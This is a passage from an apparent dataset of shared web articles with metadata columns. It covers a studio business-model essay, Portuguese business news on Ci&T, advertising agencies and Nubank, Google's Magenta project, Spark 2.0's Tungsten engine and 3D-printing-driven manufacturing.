sold in hourly units of time, but by the day and week to shift the focus on the delivery of value rather than of time. A high percentage of the market does not understand the value it delivers. The Digital Product Studio is OK with that and works with select clients that do. The process by which the Digital Product Studio executes is as important as the output. This is the never-fixed, ever-evolving toolbox of methods; integrated teams, agile, SCRUM, lean, continuous delivery etc. Imparting these methodologies to clients and partners forms part of the offering. Facilitating knowledge transfer sets a path towards self-reliance and ultimately handover. Beyond that, if a client wants to continue working together it is because they want to rather than that they have to. The Digital Product Studio seeks out partnerships with clients rather than the antiquated shit-flows-downhill vendor client relationship. The Digital Product Studio seeks out partnerships with clients rather than the antiquated shit-flows-downhill vendor client relationship. It steadfastly avoids abusive, non-reciprocal relationships. It will work with, but not through, third parties to work with clients as it will not endanger the quality of access, process, and communications necessary to build good products. Teams take on the same emotional commitment to the product's success as the client - we're all in it together. The Digital Product Studio mirrors the team, skills, and methods of world-leading tech companies. Tech companies and startups are understandably precious about letting anyone work on their core consumer facing products and services. Tech clients have existing teams in place and don't want to give away their most exciting work for some agency to drag away to a cave. The only partners they will allow to do so are those who reflect the best of their culture, understand their world and who at a minimum produce to their standards. The Digital Product Studio integrates and collaborates with existing client teams to form 'one team' for the engagement. It is for these reasons that tech companies and startups will grant access to their hallowed, core consumer facing products. It is also the reason that non-tech clients, who aspire to the standards and methods of the tech sector, want to work with a Digital Product Studio. The Digital Product Studio needs to do it all better than its predecessor model: capabilities, product development, collaboration, process, and culture, to deliver the compelling package. That premium proposition generates valuable cash reserves. These reserves are the rocket fuel for diversification into venture and own product work. The Digital Product Studio is actively engaged in the venture space, managing a portfolio of early stage technology company investments. It builds that portfolio through 'services for equity' deals and through direct cash investments in early stage startups. It measures its investments carefully to protect a minimum level of runway for the cash generating consultancy arm of the business. The Digital Product Studio has a dedicated venture team with investment experienceThe Digital Product Studio has a dedicated venture team with investment experience that oversees the portfolio and that seeks out and validates new opportunities for the company. It leverages the product expertise, market insight and proximity of the consultancy arm of its business to early stage entrepreneurs and technologies to support these efforts and generate deal flow. The Digital Product Studio knows what it brings to the table of early stage technology companies - the ability to take a digital product through to market launch. It is grounded, humble, and understands that its role, albeit essential, is just one of many necessary for success. For services for equity partnerships the Digital Product Studio seeks out experienced partners. It understands that any industry worth 'disrupting' is a high walled garden. It does not engage Jack and Jane who have an 'app idea' and granny's inheritance. It seeks out partnerships with industry veterans who understand the opportunity, risks, and pain points of a sector. These veterans have the knowledge, access, and contacts necessary to improve the chances of success. The Digital Product Studio serves as the enabler for that partner who will put their material existence on the line for the endeavour. The Digital Product Studio deploys its internal resources to engage in own product initiatives, exploiting the instant global marketplace of the web and app stores. It does so in order to both generate passive revenues as well as to raise awareness of the studio. This serves as a form of 'marketing through doing'. These initiatives serve as a testing and training ground for its teams and technologies, helping the studio refine its ways of working (after all, nothing keeps you more honest that making your own stuff). Not all of The Digital Product Studio own product initiatives are focused on creating revenues, nor is their intent on creating the next Facebook. As such, these initiatives come in all shapes and sizes and under the fail fast and fail often ethos, many of them will not see public launch. What is important throughout is learning, progress and fuelling passion. Just like venture activities, there is risk associated with own product initiatives. They both have the potential to depress the revenues of the consultancy arm. So the Digital Product Studio measures its investments carefully to protect a minimum runway for the business as a whole. The Digital Product Studio is setup as a shipyard rather than a ship. It gauges when it can invest its people and time into an own product initiative. Initially it seeks to establish a parallel and independent team until it wishes to push the product out of the nest as an independent but federated company with its own leadership. Should it then ultimately wish to sell the own product company it does not mean the end of the ability to create further products. From one shot to many shots. The old adage that you need money to make money very much applies to the investment game. Your profit and cash reserves are the rocket fuel for investing in startups, for enabling equity for services deals or for investing in your own products. Let's say you don't want to take on investment yourself and you want to self-finance this activity. When and how do you safely begin to accrue cash to engage in risk based venture activities? The rule of thumb in the agency game is to maintain minimum three to four months operating cash, aka Time to Die, at all times. If you got dropped by every single one of your clients in one week this would be how long you have to live without having to change a thing or do nasty stuff like firing people. As such a very crude and idealistic model based on 20% margins, 35% corporation tax and sustaining 3 months runway would look a little something like this... As you can see, if you're starting fresh you're going to have to put a few years in before you've stockpiled the 'surplus cash' shown in green. Only then can you afford direct investments or services for equity activities that depress revenues. That is unless you take investment that does not challenge your independence (if there is such a thing). Once you hit $5M or so you've built yourself a nice but modest investment pot without betting the farm. At $20M revenues you've got some decent angel investor sized cash to splash. Naturally if any of your bets delivers a return over the years then you can grow your investment pot, double down or 'diversify' your portfolio. Just remember, you need to be ready and able to lose every single cent of your investment pot. Ladies and gentlemen, place your bets! The blend of ascending sine wave of consultancy service revenue, passive own product income (either bell curve one-time payment or ascending subscription payment) and peak and trough venture exit windfalls should look a little something like this. Obviously this illustration is rather Hollywood. We're overlaying three models here, each of which is hard to pull off and all of which are even harder to combine. But hey, if this was easy then anyone could do it and the most inspirational movies are ""Based on a true story"". Without going all HBR on you, wrapped around and running through all of these three components are several other key characteristics. The Digital Product Studio is... It is perhaps appropriate to have closed on the topic of being a WIP. Just between you and me, it even applies to this very model. After all, life is what happens whilst you're busy making other plans. In that context any 'plan' is simply a North Star to navigate against along your journey into the unknown. You most likely won't make landfall where you set out for. So in reality the journey is the only thing that is real. Remember to enjoy it. We are living in humanity's most exciting age and it's only going to get exponentially more so as technology and computing rapidly evolves. For those of us in the industry, as the most enabled, empowered, and creative generation ever seen, we have the opportunity to shape the future in some way. This is the real dent the universe territory. So please do something difficult. Please do something that has purpose. The Digital Product Studio is just one such vehicle. Sure, 100,000 things could go wrong before you achieve escape velocity and get into orbit. It's undoubtedly hard, but so is anything worth doing. Besides, someone's got to figure it out and fortune favours the bold. I also contribute to general nonsense on twitter at @ezyjules . For those interested I'd love to continue the discussion on any of the above on social using the hashtag #DigitalNation . Because something or other at this stage I need to tell you: I am an investor in Marvel and in DICE. I am an owner at ustwo. You can find out about us on the internet somewhere. If you have read this far and are in the creative industry in the US then please ' Pledge Parental Leave '.",en
1464034990,CONTENT SHARED,-8742648016180281673,6644119361202586331,595221735013488469,,,,HTML,"http://revistaepoca.globo.com/Revista/Epoca/0,,EDG78613-8056-483,00.html",Aposta na inovação,"RITUAL Bruno Guiçardi, sócio da Ci&T, e o pote de rolhas de champanhe. A cada cliente novo, uma garrafa aberta para comemorar Eles ainda não completaram 40 anos, não sabem o que é ter uma carteira de trabalho assinada e saboreiam o gostinho de faturar dezenas de milhões de reais. Instalados num dos pólos de tecnologia mais avançados do país, o Pólis, da Universidade de Campinas (Unicamp), no interior de São Paulo, os empresários César Gon, de 35 anos, Bruno Guiçardi, de 35, e Fernando Matt, de 33, são donos da Ci&T, especializada em desenvolvimento e terceirização de aplicações de softwares. A empresa é a única brasileira na lista das estrelas emergentes na área de tecnologia da informação, segundo a pesquisa The Global Outsourcing 100, publicada pela revista americana Fortune. A presença no ranking deverá ajudar a abrir mais portas no exterior. Quando deixaram a Unicamp, onde se formaram em Ciência da Computação, em meados dos anos 90, os jovens decidiram tocar o próprio negócio. O que não lhes faltava era autoconfiança. ""Éramos ousados e não escondíamos"", afirma Guiçardi. Os três acreditavam tanto na própria competência que disputaram um projeto para o gigante IBM logo após a formatura. Venceram a concorrência e foram obrigados a correr para abrir uma empresa. A sede funcionava em um quarto alugado, numa modesta casa num bairro afastado de Campinas, e tinha apenas três computadores usados. Hoje, a Ci&T funciona numa área de 1.200 metros quadrados, tem 500 funcionários e faturou R$ 40 milhões no ano passado, 25% dos quais com negócios no exterior. A empresa mantém seis escritórios no Brasil, uma filial nos Estados Unidos e uma representação na Inglaterra. Nos últimos dois anos, as exportações dos serviços cresceram a uma média de 200% ao ano, segundo os sócios. Com uma carteira de clientes como IBM, HP, Johnson & Johnson, Petrobras, Vale do Rio Doce, Embraer e Yahoo!, a Ci&T desenvolve uma média de 150 projetos por ano. É dela, por exemplo, o portal que integra os distribuidores da HP na América Latina e o site da Natura, pelo qual a empresa se relaciona com suas mais de 566 mil vendedoras autônomas. ""Trabalhamos para antecipar o futuro, apostando em processos e sistemas que só mais tarde se tornarão padrão no mercado"", diz Guiçardi. Para comemorar cada projeto entregue, a equipe cumpre sempre o mesmo ritual: abre um champanhe e guarda a rolha, em um grande pote de vidro, devidamente identificada com a data e o nome do cliente. ""Para nossa alegria, já renovamos o pote muitas vezes."" Antecipar tendência, no entanto, nem sempre termina em brindes. Há riscos nessa opção de trabalho mais arrojada. O maior deles é lidar com resultados imprevisíveis. ""Muitas vezes, investimos em tecnologias que não emplacam"", diz Guiçardi. Outro problema é conseguir monitorar o crescimento acelerado. ""Quando atingimos 300 funcionários, não havíamos feito nenhuma preparação ou treinamento de pessoal."" O resultado foi uma confusão generalizada que afetou o atendimento aos clientes. Houve atrasos na entrega dos projetos e queda na qualidade dos serviços. Os sócios levaram um ano para pôr ordem na casa. A Ci&T caminha lado a lado com a academia. Há três anos a empresa instalou dentro da Unicamp um Laboratório de Inovação. Lá mantém 12 pesquisadores dedicados a desenvolver novos processos de tecnologia da informação. A proposta chamou a atenção da Fundação de Amparo à Pesquisa do Estado de São Paulo (Fapesp), que está investindo R$ 1 milhão em novos estudos com a Ci&T. No início do ano, os sócios montaram uma empresa chamada Digital Assets, especializada em softwares de governança e reutilização de programas. O empreendimento nasceu dentro da Ci&T, e quando tinha uma carteira razoável de clientes mudou-se para a incubadora tecnológica da Unicamp. ""Incubada, ela teria maiores chances de atrair capital de investidores."" Foi exatamente o que aconteceu. A Digital Asset recebeu dinheiro do fundo mineiro Novarum de capital de risco e está quase deixando a incubadora. ""Nosso sonho era faturar R$ 1 milhão. Hoje estamos de olho nos R$ 100 milhões"", diz Guiçardi. Da revista Pequenas Empresas & Grandes Negócios Foto: Ricardo Correa/PEGN",pt
1464049845,CONTENT SHARED,4634963407423735625,-1799631734242668035,-7314249980198107689,,,,HTML,http://www.meioemensagem.com.br/home/opiniao/2016/05/23/se-eu-fosse-fundar-uma-nova-agencia.html,Se eu fosse fundar uma nova agência... - Meio & Mensagem,"Dois textos recentes, de dois amigos, me fizeram refletir sobre o mercado publicitário brasileiro. Eles vieram a calhar, uma vez que eu andava esgotado de tentar racionalizar o interminável debate político do País. A crise do mercado publicitário começou antes da crise política - e ela está longe de ter soluções simples. Mas, ao escrever sobre ela, tenho a impressão de estar pisando em terreno familiar, embora bastante movediço. Estou longe de ter, em relação à política, a mesma familiaridade que tenho com a publicidade. De forma que, no cenário caótico que vivemos, acredito que escrever sobre uma tragédia conhecida é menos excruciante do que tentar entender tragédias que parecem além da nossa compreensão. O primeiro texto foi uma análise de fôlego, fruto de muita reflexão, muitos debates em seminários e apoiada em uma pesquisa da Fenapro. Seu autor, Pyr Marcondes, o publicou neste espaço na edição anterior do Meio & Mensagem . Ele aborda o processo de disrupção no modelo de negócios das agências e comenta os principais achados da pesquisa que listou os grandes desafios da indústria, na opinião do próprio mercado: pressão por novos modelos de remuneração; distanciamento do C-Level dos clientes; qualificação de profissionais inadequada para as demandas atuais; queda da atratividade junto a estudantes e novos talentos; baixa percepção de valor dos produtos mais preciosos da agência: inteligência, estratégia, criação e planejamento; agenciamento de mídia versus geração de ideias; juniorização (tanto no cliente, como na agência); baixa coesão do setor; imagem deteriorada; modelo de atuação desgastado; perda de protagonismo e relevância; e crise de identidade. Recomendo a leitura do artigo do Pyr e a análise da pesquisa. O segundo texto é mais conciso, foi escrito num tom de maior emoção e conseguiu refletir toda a sabedoria de um profissional que se estabeleceu com um dos mais admirados líderes do mercado publicitário nas últimas quatro décadas: José Eustachio, chairman da Talent Marcel. Por meio de um post no Facebook - o veículo que escolheu para compartilhar suas análises sempre sensíveis e equilibradas -, ele fez um tocante balanço de sua trajetória e da encruzilhada do mercado: ""Eu vi, por uma dezena de vezes, gente dizendo que a propaganda morreu. Eu vi altos e baixos. Eu vi muita gente talentosa e querida, que ajudou a fazer esse negócio, partindo. E eu vejo muita gente talentosa, que vai fazer esse negócio continuar acontecendo, chegando."" Eu não sei se o post do Zé foi uma resposta ou um contraponto ao artigo do Pyr. Na verdade, acho que os textos se complementam, uma vez que coincidem na percepção do momento de grandes transformações e na crença de que algo novo emergirá, graças ao talento que ainda existe. E é assim que, inspirado pelos dois, me arrisco a listar o que eu faria de diferente se tivesse de abrir uma nova agência de publicidade. Em primeiro lugar, eu jamais tentaria criar uma agência gigante. Poucas coisas, no mundo dos negócios, matam mais do que a megalomania. O mercado atual exige muita proximidade, profundidade e envolvimento. Não há mais lugar para agências mastodônticas, que procuram aplicar a todos os clientes suas velhas fórmulas: jingles, celebridades, funcionários felizes ou, melhor ainda, funcionários felizes cantando jingles ao lado de celebridades. Publicidade, para mim, nunca foi um negócio de escala. Porque talento não é um negócio de pura escala - embora possamos e devamos lutar para escalá-lo. Em segundo lugar, eu apostaria na qualidade, na visão estratégica e na experiência, em detrimento da pose. Se uma agência quer retomar o acesso aos níveis mais estratégicos dos clientes, ela precisa ter gente com mais quilometragem e conteúdo. De pouco serve a admiração do gerente de marketing millennial que aprova as campanhas. Para estabelecer uma linha direta com pessoas do comitê executivo, acredito que neurônios tendem a ser mais importantes do que barbas e tatuagens. Bill Bernbach e David Ogilvy foram dois dos mais brilhantes Mad Men da história. Mas eles usavam ternos e gravatas caretérrimos. O brilho não está na embalagem, mas nos olhos, no conteúdo. Outro ponto fundamental: a nova agência teria como sócios pelo menos 30% dos executivos. Isso gera engajamento, atrai novas contas, cria uma cultura empresarial. Isso faz, como a Ambev ensinou, o pessoal gastar o tanque reserva em busca do melhor para os clientes. Minha nova agência também procuraria instalações mais simples e, sobretudo, baratas. Fui cliente durante a minha vida toda e preciso confessar que sempre tive dificuldade de explicar para os CEOs mais preocupados com custos (ou seja, todos) que o fato de possuírem sedes suntuosas nos edifícios mais caros dos bairros mais caros não necessariamente tornava as agências mais caras para nós. Quase todas as empresas em que trabalhei estavam localizadas em bairros bem menos badalados do que os das agências que as atendiam. Esse dado mata de vergonha o diretor de marketing, quando ele precisa levar o CEO para uma apresentação na sede do fornecedor. E aí ele prefere não levar. E aí o CEO fica mais distante da agência. Causa e consequência, o meio é a mensagem, tudo comunica... vocês entenderam o ponto. Outra coisa da qual minha agência abriria mão, já na largada, é o BV. Sim, o BV. Sim, o dinheiro que hoje representa a diferença entre lucro e prejuízo para a maioria das agências. Se temos de aprender a viver sem algo que até um paralelepípedo sabe que está com os dias contados, melhor que a gente aprenda logo. Além disso, o BV é, filosoficamente, a matriz de toda a corrupção que vez por outra vemos no mercado. Mesmo que nem toda agência que trabalhe com BV seja corrupta, o instrumento é degenerado por si, uma vez que estimula um possível desalinhamento de interesses das agências e seus clientes. Quanto maior o BV de um veículo, maior a tentação da agência pensar em coisas para aquele veículo. Não importa que as agências sejam ilibadas e jamais comprem uma mísera inserção de 30 segundos em TV quando havia algo melhor para ser feito com o dinheiro do cliente. É uma questão de percepção, de transparência. Se uma clínica bonificar os planos de saúde toda vez que os clientes do plano a procurarem, o que pensar dessa clínica? E, mais ainda, o que pensar da administradora do plano? O Brasil só vai deixar de ser a república da comissão quando pararmos de pagar ""caixinha"" por coisas que deveriam ter sido escolhidas de forma técnica e objetiva. As grandes produtoras já deram esse passo. É hora de o restante da cadeia produtiva fazer o mesmo. Por último, eu não teria uma agência de publicidade, e sim uma agência de construção de marca e geração de negócios para os clientes. A publicidade é apenas uma das coisas que ajudam nessas questões. Ajuda muito, indiscutivelmente. Mas outras coisas - como branding, comunicação, geração de conteúdo, desenvolvimento de narrativas, relacionamento com stakeholders, etc. - também constroem marca e geram negócios. Fechar os olhos para isso, ficar dentro de uma ou de poucas caixinhas, é ter uma visão limitada ou tendenciosa do que os clientes realmente precisam. E clientes odeiam perceber que um vendedor de extintores de incêndio passa o tempo todo tentando falar de fogo. Se ele vendesse segurança, em vez de meros extintores, seria mais valorizado. Não há nada de tão novo no que acabo de imaginar - e estou seguro de que muitos dirigentes de agências já devem ter pensado em todas essas coisas. Sobreviverão aqueles que forem capazes de um dos mais óbvios (embora mais difíceis) atos de coragem em tempos de crise: parar de pensar para começar a agir.",pt
1464054046,CONTENT SHARED,-1081723567492738167,-1443636648652872475,2359074688376249165,,,,HTML,http://www.popsci.com/magenta-is-googles-project-to-make-art-with-artificial-intelligence,'Magenta' Is Google's New Project To Make Art With Artificial Intelligence,"If Google's artificial intelligence can paint its dreams , why not make other kinds of art? On June 1, Google is set to launch Magenta, a research project to explore using artificial intelligence to create art, and make that process easier for TensorFlow users. The group has about six researchers now, and will invite other academics to help try to solve the problem of creative machines. The project exists within Google Brain group. Douglas Eck, a researcher on the Magenta project , said that the group will first tackle algorithms that can generate music, then move to video and then other visual arts. ""There's a couple of things that got me wanting to form Magenta, and one of them was seeing the completely, frankly, astonishing improvements in the state of the art [of creative deep learning]. And I wanted to demystify this a little bit,"" Eck said during a panel at Moogfest, a music and technology festival. Eck said that his inspiration for the project came from Google DeepDream , a way that researchers used to look at how their artificial intelligence algorithms perceived objects by asking them to generate examples. The Magenta project will build all of their deep learning models open-source on top of TensorFlow , Google's open-source artificial intelligence platform, according to Eck. He says that the hope behind open-sourcing the project is that others will be able to take Google's work and further it themselves. The project's GitHub page is currently empty (other than a ReadMe file), but will have its first code soon. Eck also mentioned a potential Magenta app, which would showcase the music and visual art created out of the Magenta project. The app would aim to gauge whether people like the art because it's novel or because it has inherent artistic value. We've reached out to Google, and will update with any more information.",en
1464055142,CONTENT SHARED,943818026930898372,-6946355789336786528,4492969654113742216,,,,HTML,http://exame.abril.com.br/pme/noticias/inovador-nubank-ganha-premio-no-vale-do-silicio,"Inovador, Nubank ganha prêmio no Vale do Silício | EXAME.com","São Paulo - O Nubank , startup brasileira que oferece um cartão de crédito sem anuidade gerido através de um aplicativo, recebeu nesta semana o prêmio Marketers That Matter, do Sage Group do Vale do Silício . A empresa tem tido enorme sucesso na divulgação de seu produto. Até agora, cerca de 3 milhões de pessoas já se cadastraram para receber o cartão Nubank. Detalhe: tanto sucesso aconteceu sem nenhum investimento em mídia tradicional, segundo Cristina Junqueira, diretora e co-fundadora do Nubank. ""Não tínhamos verba para marketing e, mesmo se tivéssemos, nossos concorrentes sempre teriam mais. Como concorrer com o Itaú?"", explica Cristina em entrevista a EXAME.com. Consciente da sua posição de desvantagem em termos financeiros, a startup decidiu apostar em uma estratégia mais moderna. A solução encontrada foi baseada principalmente nas redes sociais, no relacionamento com a imprensa e na propaganda boca a boca. ""Focamos em Facebook, Twitter, Youtube, Instagram"", exemplifica a co-fundadora. Foi justamente essa estratégia que chamou a atenção do Vale do Silício. Para Cristina, outro ponto fundamental para o sucesso da startup é a qualidade do serviço entregue ao cliente. ""Tem também o aspecto de entregar a promessa que estamos vendendo. Ter a expectativa do cliente atendida ou superada é muito importante"", afirma. A satisfação do cliente Nubank ajudou a criar o que Cristina chama de ""crescimento viral"", através da propaganda boca a boca. Atualmente a startup tem um índice de satisfação de 88% (medido através do Net Promoter Score - NPS) e recebe elogios dos clientes a todo momento. Alguns exemplos do tipo de atendimento oferecido são bem inusitados. Uma cliente que teve o cartão mordido por seu cachorro entrou em contato para pedir um novo e, ao recebê-lo, também ganhou um ossinho roxo para o seu cão ( conheça outros exemplos ). O prêmio Marketers That Matter é o segundo reconhecimento da startup só nesse mês. Ela também foi eleita a Melhor Empresa de B2C na América Latina pelo Latam Founders Network.",pt
1464056266,CONTENT SHARED,5947470908330062710,-1443636648652872475,2359074688376249165,,,,HTML,https://databricks.com/blog/2016/05/23/apache-spark-as-a-compiler-joining-a-billion-rows-per-second-on-a-laptop.html,Apache Spark as a Compiler: Joining a Billion Rows on your Laptop: A deep dive into the new Tungsten Engine.,"Spark Summit 2016 will be held in San Francisco on June 6-8. Check out the full agenda and get your ticket before it sells out! Try the whole-stage code generation notebook in Databricks Community Edition When our team at Databricks planned our contributions to the upcoming Apache Spark 2.0 release, we set out with an ambitious goal by asking ourselves: Apache Spark is already pretty fast, but can we make it 10x faster ? This question led us to fundamentally rethink the way we built Spark's physical execution layer. When you look into a modern data engine (e.g. Spark or other MPP databases), a majority of the CPU cycles are spent in useless work, such as making virtual function calls or reading or writing intermediate data to CPU cache or memory. Optimizing performance by reducing the amount of CPU cycles wasted in this useless work has been a long-time focus of modern compilers. Apache Spark 2.0 will ship with the second generation Tungsten engine . Built upon ideas from modern compilers and MPP databases and applied to data processing queries, Tungsten emits (SPARK-12795) optimized bytecode at runtime that collapses the entire query into a single function, eliminating virtual function calls and leveraging CPU registers for intermediate data. As a result of this streamlined strategy, called ""whole-stage code generation,"" we significantly improve CPU efficiency and gain performance. The Past: Volcano Iterator Model Before we dive into the details of whole-stage code generation, let us revisit how Spark (and most database systems) work currently. Let us illustrate this with a simple query that scans a single table and counts the number of elements with a given attribute value: To evaluate this query, older versions (1.x) of Spark leveraged a popular classic query evaluation strategy based on an iterator model (commonly referred to as the Volcano model ). In this model, a query consists of multiple operators, and each operator presents an interface, next() , that returns a tuple at a time to the next operator in the tree. For instance, the Filter operator in the above query roughly translates into the code below: Having each operator implement an iterator interface allowed query execution engines to elegantly compose arbitrary combinations of operators without having to worry about what opaque data type each operator provides. As a result, the Volcano model became the standard for database systems in the last two decades, and is also the architecture used in Spark. Volcano vs Hand-written Code To digress a little, what if we ask a college freshman and give her 10 minutes to implement the above query in Java? It's quite likely she'd come up with iterative code that loops over the input, evaluates the predicate and counts the rows: The above code was written specifically to answer a given query, and is obviously not ""composable."" But how would the two-Volcano generated and hand-written code-compare in performance? On one side, we have the architecture chosen for composability by Spark and majority of the database systems. On the other, we have a simple program written by a novice in 10 minutes. We ran a simple benchmark that compared the ""college freshman"" version of the program and a Spark program executing the above query using a single thread against Parquet data on disk: As you can see, the ""college freshman"" hand-written version is an order of magnitude faster than the Volcano model. It turns out that the 6 lines of Java code are optimized, for the following reasons: No virtual function dispatches: In the Volcano model, to process a tuple would require calling the next() function at least once. These function calls are implemented by the compiler as virtual function dispatches (via vtable). The hand-written code, on the other hand, does not have a single function call. Although virtual function dispatching has been an area of focused optimization in modern computer architecture, it still costs multiple CPU instructions and can be quite slow, especially when dispatching billions of times. Intermediate data in memory vs CPU registers: In the Volcano model, each time an operator passes a tuple to another operator, it requires putting the tuple in memory (function call stack). In the hand-written version, by contrast, the compiler (JVM JIT in this case) actually places the intermediate data in CPU registers. Again, the number of cycles it takes the CPU to access data in memory is orders of magnitude larger than in registers. Loop unrolling and SIMD: Modern compilers and CPUs are incredibly efficient when compiling and executing simple for loops. Compilers can often unroll simple loops automatically, and even generate SIMD instructions to process multiple tuples per CPU instruction. CPUs include features such as pipelining, prefetching, and instruction reordering that make executing simple loops efficient. These compilers and CPUs, however, are not great with optimizing complex function call graphs, which the Volcano model relies on. The key take-away here is that the hand-written code is written specifically to run that query and nothing else, and as a result it can take advantage of all the information that is known , leading to optimized code that eliminates virtual function dispatches, keeps intermediate data in CPU registers, and can be optimized by the underlying hardware. The Future: Whole-stage Code Generation From the above observation, a natural next step for us was to explore the possibility of automatically generating this handwritten code at runtime, which we are calling ""whole-stage code generation."" This idea is inspired by Thomas Neumann's seminal VLDB 2011 paper on Efficiently Compiling Efficient Query Plans for Modern Hardware . For more details on the paper, Adrian Colyer has coordinated with us to publish a review on The Morning Paper blog today. The goal is to leverage whole-stage code generation so the engine can achieve the performance of hand-written code, yet provide the functionality of a general purpose engine . Rather than relying on operators for processing data at runtime, these operators together generate code at runtime and collapse each fragment of the query, where possible, into a single function and execute that generated code instead. For instance, in the query above, the entire query is a single stage, and Spark would generate the the following JVM bytecode (in the form of Java code illustrated here). More complicated queries would result in multiple stages and thus multiple different functions generated by Spark. The explain() function in the expression below has been extended for whole-stage code generation. In the explain output, when an operator has a star around it (*), whole-stage code generation is enabled. In the following case, Range, Filter, and the two Aggregates are both running with whole-stage code generation. Exchange, however, does not implement whole-stage code generation because it is sending data across the network. Those of you that have been following Spark's development closely might ask the following question: ""I've heard about code generation since Apache Spark 1.1 in this blog post . How is it different this time?"" In the past, similar to other MPP query engines, Spark only applied code generation to expression evaluation and was limited to a small number of operators (e.g. Project, Filter). That is, code generation in the past only sped up the evaluation of expressions such as ""1 + a"", whereas today whole-stage code generation actually generates code for the entire query plan. Vectorization Whole-stage code-generation techniques work particularly well for a large spectrum of queries that perform simple, predictable operations over large datasets. There are, however, cases where it is infeasible to generate code to fuse the entire query into a single function. Operations might be too complex (e.g. CSV parsing or Parquet decoding), or there might be cases when we're integrating with third party components that can't integrate their code into our generated code (examples can range from calling out to Python/R to offloading computation to the GPU). To improve performance in these cases, we employ another technique called ""vectorization."" The idea here is that instead of processing data one row at a time, the engine batches multiples rows together in a columnar format, and each operator uses simple loops to iterate over data within a batch. Each next() call would thus return a batch of tuples, amortizing the cost of virtual function dispatches. These simple loops would also enable compilers and CPUs to execute more efficiently with the benefits mentioned earlier. As an example, for a table with three columns (id, name, score), the following illustrates the memory layout in row-oriented format and column-oriented format. This style of processing, invented by columnar database systems such as MonetDB and C-Store, would achieve two of the three points mentioned earlier (almost no virtual function dispatches and automatic loop unrolling/SIMD). It, however, still requires putting intermediate data in-memory rather than keeping them in CPU registers. As a result, we use vectorization only when it is not possible to do whole-stage code generation. For example, we have implemented a new vectorized Parquet reader that does decompression and decoding in column batches. When decoding integer columns (on disk), this new reader is roughly 9 times faster than the non-vectorized one: In the future, we plan to use vectorization in more code paths such as UDF support in Python/R. Performance Benchmarks We have measured the amount of time (in nanoseconds) it would take to process a tuple on one core for some of the operators in Apache Spark 1.6 vs. Apache Spark 2.0, and the table below is a comparison that demonstrates the power of the new Tungsten engine. Spark 1.6 includes expression code generation technique that is also in use in some state-of-the-art commercial databases today. cost per row (in nanoseconds, single thread) We have surveyed our customers' workloads and implemented whole-stage code generation for the most frequently used operators, such as filter, aggregate, and hash joins. As you can see, many of the core operators are an order of magnitude faster with whole-stage code generation. Some operators such as sort-merge join, however, are inherently slower and more difficult to optimize. You can see the power of whole-stage code generation in action in this notebook , in which we perform aggregations and joins on 1 billion records on a single machine. It takes less than one second to perform the hash join operation on 1 billion tuples on both the Databricks platform (with Intel Haswell processor 3 cores) as well as on a 2013 Macbook Pro (with mobile Intel Haswell i7). How does this new engine work on end-to-end queries? Beyond whole-stage code generation and vectorization, a lot of work has also gone into improving the Catalyst optimizer for general query optimizations such as nullability propagation. We did some preliminary analysis using TPC-DS queries to compare Spark 1.6 and the upcoming Spark 2.0: Does this mean your workload will magically become ten times faster once you upgrade to Spark 2.0? Not necessarily. While we believe the new Tungsten engine implements the best architecture for performance engineering in data processing, it is important to understand that not all workloads can benefit to the same degree. For example, variable-length data types such as strings are naturally more expensive to operate on, and some workloads are bounded by other factors ranging from I/O throughput to metadata operations. Workloads that were previously bounded by CPU efficiency would observe the largest gains, and shift towards more I/O bound, whereas workloads that were previously I/O bound are less likely to observe gains. Conclusion Most of the work described in this blog post has been committed into Apache Spark's code base and is slotted for the upcoming Spark 2.0 release. The JIRA ticket for whole-stage code generation can be found in SPARK-12795, while the ticket for vectorization can be found in SPARK-12992. To recap, this blog post described the second generation Tungsten execution engine. Through a technique called whole-stage code generation, the engine will (1) eliminate virtual function dispatches (2) move intermediate data from memory to CPU registers and (3) exploit modern CPU features through loop unrolling and SIMD. Through a technique called vectorization, the engine will also speed up operations that are too complex for code generation. For many core operators in data processing, the new engine is orders of magnitude faster. In the future, given the efficiency of the execution engine, bulk of our performance work will shift towards optimizing I/O efficiency and better query planning. We are excited about the progress made, and hope you will enjoy the improvements. To try some of these out for free, sign up for an account on Databricks Community Edition. Further Reading Sign up for a free trial of Databricks. Get started Today",en
1464058116,CONTENT SHARED,-6940923725353716164,4670267857749552625,5161739494374669899,,,,HTML,http://www.cio.com/article/3071857/3d-printing/digital-manufacturing-could-eliminate-warehouses-create-on-demand-production.html?utm_campaign=sflow_tweet,"Digital manufacturing could eliminate warehouses, create on-demand production","ORLANDO, Fla. -- As manufacturing industries go digital, products that were once generated via a set of build plans are now created in digital files that can be exported anywhere in the world. When 3D printing is added to that equation, products are no longer produced in anticipation of orders, but on demand, as needed. There are, however, existing cultural industry biases -- engineers and designers who are entrenched in conventional manufacturing methods -- that limit the adoption of 3D printing, stifling its full potential. ""What we need in our design organizations is someone who doesn't have those cultural biases [and who says] when we go to design a new part for our spacecraft or rocket engine..., how do we build this with new technology?"" said John Vickers, principal technologist for NASA's space technology mission directorate. Vickers was part of a digital manufacturing panel today at the RAPID Printing and Additive Manufacturing Conference here. He explained that a liquid rocket engine produced by NASA can cost tens of millions of dollars to build with conventional manufacturing methods; a single component can include more than 300 parts and take from six months to a year to create. With 3D printing, in some cases, a rocket engine component can be reduced to a half dozen parts and require only three months to build, Vickers said. ""Our aerospace and space products really cost too much and take too long today,"" Vickers said. ""We're really interested in affordability and performance. We like to say we're interested in half the weight, at half the cost, at twice the speed."" Just-in-time manufacturing In 2014, NASA delivered a 3D printer to the International Space Station for research and development. A month ago, it delivered a second one that will be used to make replacement parts for the space station. NASA International Space Station Commander Barry ""Butch"" Wilmore shows off the first object ever created by a 3D printer in space -- a face plate. ""We're on a long-term journey to Mars at NASA. So our goal for in-space manufacturing...is to not have to take all the supplies with us,"" Vickers said. ""So in-space fabrication and repair is a term we use."" Just as plans for creating parts can be transmitted to spacecraft, digital manufacturing allows stereolithography design (stl) files to be transmitted anywhere in the world. As 3D printing continues to infiltrate manufacturing, not only will parts be transformed into just-in-time production runs, but sensors embedded in those parts will be able to provide feedback during real-world use to improve quality in the build process. Dean Bartels, chief manufacturing officer at the Digital Manufacturing & Design Innovation Institute (DMDII), believes an issue facing 3D printing adoption is the lack of education for engineers and designers. DMDII is a federally-funded research and development organization of UI LABS that focuses on helping manufacturers deploy digital technology to improve processes. DMDII was the first organization created through the Revitalize American Manufacturing Innovation (RAMI) Act of 2014 . HP HP is already working with nearly a dozen companies who are testing the company's Jet Fusion printing technology in its labs. The companies include Nike, BMW, Johnson & Johnson, Jabil, Siemens, Materialise, Shapeways, Autodesk, and Protolabs. Bartels sees several emerging trends connected to digital 